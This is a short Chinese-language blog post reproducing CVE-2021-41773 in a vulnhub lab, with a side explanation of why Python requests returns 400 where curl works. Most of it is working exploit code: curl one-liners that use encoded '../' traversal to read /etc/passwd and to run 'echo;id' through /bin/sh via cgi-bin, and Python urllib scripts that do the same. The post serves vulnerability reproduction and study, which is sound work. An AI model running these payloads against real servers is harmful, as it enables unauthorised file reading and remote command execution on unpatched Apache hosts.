CVE-2021-41773 复现poc

前言

在复现这个cve写poc的时候发现,使用curl可以正常复现,而python则一直报400,水一篇博客记录一下

环境

vulnhub

复现

curl

使用curl,可以正常复现

1
curl -v --path-as-is http://127.0.0.1:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

image-20230920140327473

1
curl -v --data "echo;id" 'http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

image-20230920140422414

python poc

发现报错400

image-20230920140545612

直接说原因就是,requests在发送请求的时候,对url进行了自动解码,且不可控制,就变成了:

1
http://127.0.0.1:8080/etc/passwd/

所以,会报400,在chrome中,也会出现这个问题,直接将url编码自动解码,而后去掉../

image-20230920141016131

解决办法

发现使用urllib库,也就是requests的底层库,不会出现这个问题

1
2
3
4
5
6
import urllib.request
url = "http://127.0.0.1:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
req = urllib.request.Request(url)
salida = urllib.request.urlopen(req, timeout=5)
contenido = salida.read().decode('utf-8')
print(contenido)

image-20230920141149106

命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import urllib.request
import urllib.parse

url = "http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
data = "echo;id"

# 将数据编码为字节字符串
data_bytes = data.encode('utf-8')

# 创建一个请求对象
req = urllib.request.Request(url, data=data_bytes)

# 设置请求方法为 POST
req.method = 'POST'

# 发送请求并获取响应
with urllib.request.urlopen(req) as response:
response_data = response.read().decode('utf-8')

# 处理响应
print(response_data)

image-20230920141632854